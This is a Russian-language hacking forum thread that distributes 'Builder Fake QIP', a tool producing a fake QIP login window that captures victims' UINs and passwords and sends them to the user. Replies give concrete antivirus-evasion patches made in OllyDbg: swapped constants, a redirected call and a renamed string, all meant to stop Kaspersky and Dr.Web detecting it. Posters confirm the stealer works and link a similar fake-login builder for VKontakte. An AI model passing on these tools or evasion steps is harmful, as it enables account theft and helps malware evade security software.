PDA

Просмотр полной версии : Builder Fake QIP 8070 v1.3

DIMON4G
28.10.2008, 20:34
Builder Fake QIP 8092 v1.3

http://pic.ipicture.ru/uploads/081028/45ouyoCWk0.png

Builder Fake QIP 8092 в этой программе лежит фейк входа QIP 8092.
В этой версии изменений нет, изменил только малость код, местами поменял чтоб антивирус не ругался :)

Описание работы qip.exe:
Жертва вводит свой уин и пароль жмёт Подключиться, QIP запускается с уина и пароля жертвы и отправляет эти данные на ваш уин и/или емаил, одновременно у жертвы вылезает окошко "Связь прервана".

Как пользоваться билдером:
Там все написано, разберётесь :)

Скачать 501 Кб:
с DepositFiles.com (http://depositfiles.com/files/uo5gb92bo)
Gorec
28.10.2008, 23:29
Если я не ошибаюсь,это уже было!!!!
DIMON4G
29.10.2008, 00:47
Если я не ошибаюсь,это уже было!!!!
заметь версия 1.3
Buffalon
29.10.2008, 01:18
Если я не ошибаюсь,это уже было!!!!
Этот баянчик - по всему инету бродит... .
Gorec
29.10.2008, 18:07
заметь версия 1.3
было бы Qip Infium,то было бы другое дело!))))
и весило бы как реальная,а так его никуда не впаришь(((
dENIk
01.11.2008, 15:08
для QIP INfium http://letitbit.net/download/7ab381114666/BuilderFakeQIPInfium9015bySin3vv1.0.rar.html
Uname-A
02.11.2008, 12:21
Через HEX редактор возможно узнать номер на который отправляется пароль?
mailbrush
02.11.2008, 12:43
Очень большая просьба:
Не лейте ничего на вирустотал. Человеку можно доверять, а так только антивирусы ругаться будут!
DIMON4G
02.11.2008, 20:03
Через HEX редактор возможно узнать номер на который отправляется пароль?
да :(
Nurik
02.11.2008, 23:06
Я мучился и хотел сделать фейк который будет копией qip чтоб устанавливать надо было и вес был подходящий!)))
через несколько дней я понял это скорее фантастика
dimhee
02.11.2008, 23:13
я помню begin end подобное выкладывал .
luz3r
07.11.2008, 18:27
Хороший фейк. Автору +
kuguarpwnz
08.11.2008, 19:31
перезалей плз
DIMON4G
11.11.2008, 21:10
перезалей плз

лови


Скачать 501 Кб:[/B]
с WebFile.Ru (http://webfile.ru/2382130) пасс: antichat
с DepositFiles.com (http://depositfiles.com/files/uo5gb92bo)
с RapidShare.com (http://rapidshare.com/files/162802616/Builder_Fake_QIP_8070_v1.3_by_Sin3v.rar.html)
Bulbash
12.11.2008, 10:17
знакомая весч:)
Qisse
16.01.2009, 18:26
уже ошибка:(
http://s56.radikal.ru/i153/0901/6c/91a48416ec99.jpg (http://www.radikal.ru)
Rebit
17.01.2009, 15:18
Вот http://s45.radikal.ru/i108/0901/bf/041f7a2a70b3t.jpg (http://radikal.ru/F/s45.radikal.ru/i108/0901/bf/041f7a2a70b3.gif.html)
satana8920
17.01.2009, 15:23
Rebit тулза старая что ты хотел давно никто не чистил ее
/не флудите в теме блин что за привычка
Future_Life
18.01.2009, 22:46
Через HEX редактор возможно узнать номер на который отправляется пароль?
Ой, кому там надо будет это делать...
BLaZeViL
18.01.2009, 23:25
Полный баян :(
DIMON4G
26.01.2009, 00:54
Полный баян :(
полный ништяк нах и неипёт :p
neprovad
26.01.2009, 02:04
DATA:004A50E4 1E 00 00 00 dd 1Eh
DATA:004A50E8 9C F3 45 00 dd offset aGreece ; "Greece"
DATA:004A50EC 1F 00 00 00 dd 1Fh
DATA:004A50F0 AC F3 45 00 dd offset aNetherlands ; "Netherlands"

достаточно сменить константы стран одну на другую например 1E заменить на 1F, а 1F заменить на 1E и KAV больше не найдет ничего
nupaT
26.01.2009, 16:56
О спс за булидер )) Но у мя Веб палит ((
neprovad
26.01.2009, 17:58
О спс за булидер )) Но у мя Веб палит ((
Щас покумекаем и перестанет палить
UPD:
Покумекал, меняем недалеко от точки входа код
Было:

004A2FE8 . E8 6B9BFBFF CALL qip.0045CB58
....
004A3041 00 00000000

Стало:

004A2FE8 E8 54000000 CALL qip.004A3041
.....
004A3041 E9 129BFBFF JMP qip.0045CB58

Доктор больше не палит
Sin3v
29.01.2009, 23:59
О_О да ты волшебник, через че это редактируешь?
diznt
30.01.2009, 00:05
Sin3v дизассемблер вроде
neprovad
30.01.2009, 08:16
редактирую прямо в ollydbg и потом сохраняю, впрочем, другие программы ничем не хуже.
NAGAN
30.01.2009, 11:44
а киньте пожалуйста исправленый билд! будю благодарен!
neprovad
30.01.2009, 14:49
а киньте пожалуйста исправленый билд! будю благодарен!
сделай сам, я все написал что и где
NAGAN
30.01.2009, 16:39
попробывал но так ничего не пришло...почемуто! хм...
MMxD
30.01.2009, 18:43
спасибо, помогло
neprovad
31.01.2009, 12:16
если готовый фэйк не запускается, это скорее всего проверка контрольной суммы. а если запускается и не приходит ничего это уже проблемы со связью или чем-либо еще.
NAGAN
03.02.2009, 14:23
хм...походу проблема со связью у 5 друзей...все возможно...
ANUBI$
05.02.2009, 01:34
спасибо, будим юзать
X-RayBlade
30.03.2009, 19:50
Спасибо автору - всё работает ;)
rid3r~man
30.03.2009, 20:57
пашет класс, автор спс =)
SWANY
30.03.2009, 21:18
Антивирусник его палит((
neprovad
31.03.2009, 05:49
Антивирусник его палит((
В оригинале

00495D34 MOV EDX,qip.00495DA0; ASCII "QIP"

меняем строку по адресу 495DA0 "QIP" на "ZZZ" и перестает палить (kav)
slider
31.03.2009, 08:10
Это сейчас модно .. ?!... делать хренову тучу фейков...?!
neprovad
31.03.2009, 09:34
Это сейчас модно .. ?!... делать хренову тучу фейков...?!
мода - непродолжительное господство определённого стиля\направления в какой-либо сфере
ZloiSpy
11.05.2010, 15:40
Я надыбал Builder Fake Agent Vkontakte by Sin3v v3.1 может кому пригодится.
В описании заявлено, что не палится антивирусами и улучшены алгоритмы работы отправки данных.
Сайт фейк-билдера Рейтинг Вконтакте:
http://builder-fake-sin3v.narod.ru/
Ссылка на скачивание:
http://builder-fake-sin3v.narod.ru/bilder-raiting-vkontakte.zip